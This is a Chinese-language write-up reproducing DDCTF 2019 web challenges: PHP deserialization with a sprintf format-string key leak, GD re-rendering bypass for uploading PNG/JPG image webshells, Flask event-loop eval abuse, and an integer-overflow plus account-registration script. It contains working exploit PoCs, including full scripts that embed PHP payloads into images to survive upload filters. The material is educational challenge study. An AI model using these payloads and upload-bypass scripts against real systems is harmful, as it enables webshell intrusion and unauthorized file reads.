DDCTF Web Writeup

前言

DDCTF比赛的时候很自闭,那么复现的就要好好做了:)

滴~

众所周知这是一道脑洞题,没有什么意思。

Web签到题

这道题大佬们都写得非常简单,之前比赛时因为没有审计php代码的经验,拿到源码后很懵,痛定思痛,对源码仔细审计了一番。

获取源码

打开页面,提示没有登陆权限。

然后抓包,在第二个包中发现访问了/app/Auth.php,并且有一个didictf_username字段为空,我们加上admin去访问,获得回显:

1.png

解码一下得到hint:{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php"}

然后访问对应页面,就得到了两个php文件的源码。

审计源码

Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

Class Application {
var $path = ''; //该变量可以实现文件读取

//response() 回显$data 以及 $errMsg
public function response($data, $errMsg = 'success') {
print 'Enter response()'.'<br>';
echo "echo:{<br>data: $data<br>errMsg: $errMsg<br>}<br>";
}

//auth() 对header头里的didictf_username字段进行验证
public function auth() {
print 'Enter auth()'.'<br>';
$DIDICTF_ADMIN = 'admin';
$_SERVER['HTTP_DIDICTF_USERNAME'] = $DIDICTF_ADMIN;
if (!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
} else {
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----', 'error');
exit();
}
}

//sanitizepath() 对$path参数进行过滤
private function sanitizepath($path) {
print 'Enter sanitizepath()'.'<br>';
$path = trim($path); //首尾去空
$path = str_replace('../', '', $path); // 双写绕过
$path = str_replace('..\\', '', $path); //注意$path长度只能是18
return $path; //返回$path
}

//析构函数 ==》 控制$path可以输出flag
public function __destruct() {
print 'Enter __destruct()'.'<br>';
if (empty($this->path)) {//$path不为空
exit();
} else {
$path = $this->sanitizepath($this->path); // 不为空就调用sanitizepath()做替换
if (strlen($path) !== 18) { //如果处理过的$path长度不严格等于18,就跳出
exit();
}
$this->response($data = file_get_contents($path) , 'Congratulations');
//读出$path路径下的文件,并且用response()回显
}
exit();
}
}
?>

Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<?php

include 'Application.php'; // 包含Application类

class Session extends Application { //定义Session继承Application类

//key建议为8位字符串
var $eancrykey = '';//储存位于../config/key.txt的密钥

//一些关于cookie的变量
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


//index()
public function index() {
print 'Enter index()'.'<br>';

if (parent::auth()) { //调用auth(),需要didictf_username=admin才能继续执行

$this->get_key(); //调用get_key()

if ($this->session_read()) { //调用session_read(),为真继续执行
$data = 'DiDI Welcome you %s';
$data = sprintf($data, $_SERVER['HTTP_USER_AGENT']);
parent::response($data, 'sucess'); //打印 DiDI Welcome you + UA
} else {
$this->session_create(); //如果session_read()返回为FLASE,就调用session_create()
$data = 'DiDI Welcome you';
parent::response($data, 'sucess'); //只打印DiDI Welcome you
}
}
}

//get_key() 获取位于../config/key.txt的key值
private function get_key() {
print 'Enter get_key()'.'<br>';
//eancrykey and flag under the folder ..
$this->eancrykey = file_get_contents('../config/key.txt');
print "eancrykey = $this->eancrykey".'<br>';
}

//session_read() //验证session的函数
public function session_read() {
print 'Enter Session_read()'.'<br>';

if (empty($_COOKIE)) {//Cookie不为空
print 'NO Cookies'.'<br>';
return FALSE;
}
print 'Have Cookies'.'<br>';

$session = $_COOKIE[$this->cookie_name];//$session = Cookie里ddctf_id的内容
print "session: $session".'<br>';
if (!isset($session)) { // 如果cookie中的ddctf_id没设置,就返回FALSE
parent::response("session not found", 'error');
return FALSE;
}

$hash = substr($session, strlen($session) - 32); //$hash = $session的后32位
$session = substr($session, 0, strlen($session) - 32); //去除$session的后32位校验
print "hash: $hash<br>session: $session".'<br>';

if ($hash !== md5($this->eancrykey . $session)) {
parent::response("the cookie data not match", 'error');
return FALSE;
} //如果后32位不等于 md5(密钥 + 去除最后32位校验后ddctf_id的内容),返回False


$session = unserialize($session); //**反序列化** $path变量控制点
print_r($session);
print '<br>';


if (!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])) {
return FALSE;
} //如果$session反序列化后不是数组、$session['session_id']不存在、session['ip_address']不存在、session['user_agent']不存在,就返回FLASE

if (!empty($_POST["nickname"])) { //POST nickname参数
$arr = array(
$_POST["nickname"],
$this->eancrykey
);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {//将数组arr的每一个键名存入$k,键值存入$v
$data = sprintf($data, $v);//蜜汁操作,存在sprintf格式化注入
//post nickname=%s 获取key.txt内容
}
parent::response($data, "Welcome");
}

if ($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match' . 'error');
return FALSE;
} //你session的ip_address和真实ip相等才能继续执行


if ($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match', 'error');
return FALSE;
} //session的ua和真实ua相等才能继续


return TRUE;
}


//session_create() 设置Cookie **ddctf_id的内容是经过序列化的**
private function session_create() { //创建session
print 'Enter session_create()'.'<br>';
$sessionid = '';

while (strlen($sessionid) < 32) {
$sessionid.= mt_rand(0, mt_getrandmax());
} //$sessinoid是随机的32位数字

$userdata = array(
'session_id' => md5(uniqid($sessionid, TRUE)) ,
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
//基于你真实的ip和ua设置一个数组$userdata

$cookiedata = serialize($userdata); //把$userdata数组序列化后赋值给$cookiedata
$cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata); //然后在$userdata前面加上eancrykey后md5加密赋值给$cookiedata
$expire = $this->cookie_expiration + time(); //7200加上当前时间戳赋值给$expire
setcookie($this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure);
//设置cookie: cookie_name,cookiedata,expire
}
}


$ddctf = new Session();
$ddctf->index(); //开始
?>

利用源码

主要逻辑在这么几个地方:

控制$path变量,读取flag文件。

1
2
3
4
5
6
$path = $this->sanitizepath($this->path); // 不为空就调用sanitizepath()做替换
if (strlen($path) !== 18) { //如果处理过的$path长度不严格等于18,就跳出
exit();
}
$this->response($data = file_get_contents($path) , 'Congratulations');
//读出$path路径下的文件,并且用response()回显

修改$session值,通过反序列化漏洞重写$path成员变量,使其为flag.txt所在路径。

那么需要满足Cookie内ddctf_id的内容的后32位 === md5(密钥.去除摘要后的内容)

所以我们要得到密钥$this->eancrykey

1
2
3
4
5
6
7
8
9
10
11
$hash = substr($session, strlen($session) - 32); //$hash = $session的后32位
$session = substr($session, 0, strlen($session) - 32); //去除$session的后32位校验
print "hash: $hash<br>session: $session".'<br>';

if ($hash !== md5($this->eancrykey . $session)) {
parent::response("the cookie data not match", 'error');
return FALSE;
} //如果ddctf_id的内容的后32位不等于 md5(密钥 + 去除最后32位校验后ddctf_id的内容),返回False


$session = unserialize($session); //**反序列化** $path变量控制点

然后寻找到一处蜜汁代码,利用sprintf格式化注入即可达到目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$arr = array(
$_POST["nickname"],
$this->eancrykey
);

$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {//遍历数组arr的每一个键名存入$k,键值存入$v
$data = sprintf($data, $v);//蜜汁操作,存在sprintf格式化注入
//post nickname=%s 获取key.txt内容
}
parent::response($data, "Welcome");


/*
这里简单介绍下原理:

已知 $arr=("sketch_pl4ne[%s]", $secret_key); $data = "Wlecome my friend %s";
那么 foreach($arr as $k => $v){$data = sprintf($data, $v);}

第一次:$data = sprintf("Wlecome my friend %s", $v1) = "Wlecome my friend sketch_pl4ne[%s]"
第二次:$data = sprintf("Wlecome my friend sketch_pl4ne[%s]", $v2) = "Wlecome my friend
sketch_pl4ne[$secret_key]";

所以POST的nickname中含有%s,即可获得密钥$this->eancrykey
*/

在session_creat()中注意,Cookie中的字段内容都是经过序列化操作的

1
2
3
4
5
6
7
8
9
10
$userdata = array(
'session_id' => md5(uniqid($sessionid, TRUE)) ,
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
//基于你真实的ip和ua设置一个数组$userdata

$cookiedata = serialize($userdata); //把$userdata数组序列化后赋值给$cookiedata
$cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata);

在session_read()中结合index(),我们注意到只需要满足$session = unserialize($session);之前的判断条件,就可以反序列化达到目的,后面的代码条件并没有必要满足。

于是我们构造poc:

1
2
3
4
5
6
7
8
9
10
<?php
class Application()
{
var $path = '..././config/flag.txt';
}
$payload = new Application();
$payload = serialize($payload);
$payload = $payload.md5("EzblrbNS".$payload);
echo urlencode($payload);
?>

自己在本地跑一下,得到ddctf_id的内容,Get flag

2.png

Upload-IMG

这道题挂了,白费我一上午时间,我还以为是有什么我不知道的sao操作,淦。

考察点在于php-GD库二次渲染绕过 ,相当于Upload-labspass-16的一部分,所以这里我写一下pass-16的题解。

上传gif图片马

直接在gif文件尾部写入php语句,上传之后下载回来,发现写入的代码没了,所以不能直接写入。

那我们先上传一张正常的pre.gif上去,再把渲染过的图片下载下来,用winhex对比一下:

1.png

白色表示相同的部分,可以看出尽管被压缩了,但是还是有一部分是相同的,我们在相同的地方插入代码:<?php phpinfo();?>

因为可能不小心损坏了文件头导致上传失败,多fuzz几下就上传成功了,然后下载下来验证图片马是否写入成功:

2.png

写入成功 ~

上传png图片马

png格式的图片相对gif要复杂些,想要插入php语句的话,我们需要先了解png图片格式。

png文件组成

png文件由文件头+数据块的形式组成。可形象地描述为:png格式 = 89 50 4E 47 0D 0A 1A 0A(文件头)+ 数据块 + 数据块 + 数据块……

chunk数据块

png定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块中定义了三个标准数据块(IHDR, IDAT, IEND),每个png文件都必须包含它们。

数据块符号 数据块名称 多数据块 可选否 位置限制
IHDR 文件头数据块 第一块
cHRM 基色和白色点数据块 在PLTE和IDAT之前
gAMA 图像γ数据块 在PLTE和IDAT之前
sBIT 样本有效位数据块 在PLTE和IDAT之前
PLTE 调色板数据块 在IDAT之前
bKGD 背景颜色数据块 在PLTE之后IDAT之前
hIST 图像直方图数据块 在PLTE之后IDAT之前
tRNS 图像透明数据块 在PLTE之后IDAT之前
oFFs (专用公共数据块) 在IDAT之前
pHYs 物理像素尺寸数据块 在IDAT之前
sCAL (专用公共数据块) 在IDAT之前
IDAT 图像数据块 与其他IDAT连续
tIME 图像最后修改时间数据块 无限制
tEXt 文本信息数据块 无限制
zTXt 压缩文本数据块 无限制
fRAc (专用公共数据块) 无限制
gIFg (专用公共数据块) 无限制
gIFt (专用公共数据块) 无限制
gIFx (专用公共数据块) 无限制
IEND 图像结束数据 最后一个数据块

数据块结构

名称 字节数 说明
Length(长度) 4字节 指定数据块中数据域的长度,其长度不超过(231-1)字节
Chunk Type Code(数据块类型码) 4字节 数据块类型码由 ASCII 字母(A - Z 和 a - z)组成
Chunk Data(数据块数据) 可变长度 存储按照 Chunk Type Code 指定的数据
CRC(循环冗余检测) 4字节 存储用来检测是否有错误的循环冗余码

其中的CRC是循环冗余校验码,主要用于检测是否有错误的编码,只能检错,不能像海明校验码一样纠错。

IHDR

文件头数据块,在CTF中常见的修改图片宽高就是修改这前八个字节,分别对应宽和高。

由于存在CRC校验码,直接修改宽高可能会显示错误,这时候可以写脚本爆破出需要修改的宽或者高。

PLTE

调色板数据块(辅助数据块),对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致png图像不合法。

IDAT

图像数据块,这里储存了图片实际的数据内容。

IEND

图像结束数据块,png图像总是以图像结束数据块结尾:00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码

法一:因为FLTE数据块主要采用CRC校验码验证完整性,所以这里可以尝试在PLTE数据块插入语句,然后用脚本生成CRC校验码,笔者这里没有找到含有FLTE数据块的png格式图片,这里贴一下原作者@Yang的图片以及脚本:

写入FLTE数据块

3.png

CRC生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

法二:国外大牛的脚本一把梭……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

使用方法:php png_payload.php xxx.png

将生成图片1.png上传,然后验证是否成功

4.png

写入成功~

上传jpg格式图片马

这个就是DDCTF这次的题目,方法大致有两种。

法一:比较图片,fuzz插入php代码,参考上传gif图片马。

法二:国外大牛脚本一把梭……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

用生成的图片上传,然后下载下来检查语句是否写入成功

5.png

写入成功~

homebrew event loop

打开后是四个超链接和一个提示:[INFO] you have 0 diamonds, 3 points now.,大致功能就是可以查看源码,然后用积分买钻石。

展示界面

每个链接都试了一下,没什么特别的,直接审计源码

审计源码

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f86147e857'

# 执行该函数会输出flag
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored


# 将传入的参数存入队列中,固定保留后5个
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


# 返回 prefix 与 postfix 中间的字符串(postfix != None)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack



# 循环执行 trigger_event()传入队列的数据
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
# 设置输入字符白名单
resp = None
while len(request.event_queue) > 0:

# 队列向后推进一个队列成员的方法
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]

# 必须以'action'/'func'开头
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';') # 获取需要执行的函数名
args = get_mid_str(event, action+';').split('#') # 获取参数
try:
# 关键代码:函数执行
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


# 只有唯一一个路由,为程序入口
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


# 增加diamonds数量
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
# 注意这里会调用下面的函数,直接增加diamonds会导致下面的函数抛出异常
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

# 消耗points数量
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

# 没用的显示flag函数
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


# 当diamonds > 5 时将flag存入队列中
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

上面的代码最好自行审计一遍。

关键逻辑

通过适当构造传参我们可以实现函数执行。

注意这里限制了函数名,可以通过#来注释掉后面的后缀。

1
2
3
# 关键代码:函数执行
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

由于有get_flag_handler()函数,可以考虑是否能让num_items > 5

1
2
3
4
5
6
7
8
9
10
11
12
13
# 增加diamonds数量
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
# 注意这里会调用下面的函数,直接增加diamonds会导致下面的函数抛出异常
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

# 消耗points数量
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

注意到我们可以执行程序中的任何一个带参函数,所以也包括添加队列的trigger_event()这里一种思路就是增加两个假队列成员,分别执行buy、get_flag两个函数,在consume_point抛出错误之前输出flag

1
2
3
4
5
6
7
8
# 将传入的参数存入队列中,固定保留后5个
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

Payload:?action:trigger_event%23;action:buy;10%23action:get_flag;

然后抓包解密session即可。

session效果图

Flask框架下,session是储存在客户端的,虽然使用签名处理过防止被篡改,但是却没有对session进行加密操作,这导致敏感信息泄露。

前面通过Payload打一发,得到了含有flag的session,这里使用@离别歌大佬的脚本解密得到flag。

flag效果图

大吉大利,今晚吃鸡

登录注册,账户里只有100金币,要2000金币买ticket (怎么没有充值入口

整数溢出

截取添加订单的请求包,发现ticket_price字段,且ticket_price是可控的:

ticket_price

经过尝试后发现只能是大于2000的整数,那么考虑整数溢出。

32位操作系统的最大整数为4294967295,确保万无一失我们改为4294967296,购买成功。

购买成功

脚本踢人

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# encoding: utf-8
import requests
import time

regist = "http://117.51.147.155:5050/ctf/api/register?password=11111111&name=vvvvwwwcvv"#name添加一个前缀
buy_ticket = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
pay_ticket = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
delete = "http://117.51.147.155:5050/ctf/api/remove_robot"
get_flag="http://117.51.147.155:5050/ctf/api/get_flag"

i= 999883 #初始化用户名,使用未注册过的数字

def delete_robot(player_id, player_ticket):
COOKIE = {"Cookie": "user_name= fsdaaaaaaaaaaaa; REVEL_SESSION=ca8bd90e72a2844c1f1db795f1d92a88"} #修改为自己主账户的cookie
param={"id":player_id,"ticket":player_ticket}
requests.get(delete,params=param, headers=COOKIE) #删除id
flag = requests.get(get_flag, headers=COOKIE) #获取剩余的敌人数量
print(flag.text)

while True:
t = requests.session()
i+=1
r = t.get(regist + str(i)) #注册
r = t.get(buy_ticket).json() #购买Ticket,解析json
bill_id = r["data"][0]["bill_id"] #json解析bill_id
r = t.get(pay_ticket + bill_id).json() #支付订单
player_id = r["data"][0]["your_id"]
player_ticket = r["data"][0]["your_ticket"] #json解析id与ticket
delete_robot(player_id,player_ticket) #使用主账户删除id
time.sleep(0.3) #短暂休眠避免被封

踢完所有人就会显示flag:

flag效果

Hash拓展长度攻击

这也是在先知上看到的另外一种解法,暂时还没有去研究。

Mysql弱口令读取

这属于非预期了,Mysql那题可以实现任意文件读取,听说可以读出吃鸡flag (Mysql那题还不会…)

参考链接

CDUSec

CTF Writeup

CTF Wiki

upload-labs pass-16详解 by Yang

客户端session导致的安全问题 by leavesongs

DDCTF Web部分wp by zhaoj

DDCTF2019 两道web题解 by sm1le

DDCTF Web Writeup by evoA

总结

DDCTF的Web基本就到这了,还差一个很有意思的Mysql客户端任意文件读取没能复现出来,有点难受。

总算是复现完了并没有,学到了很多。

0%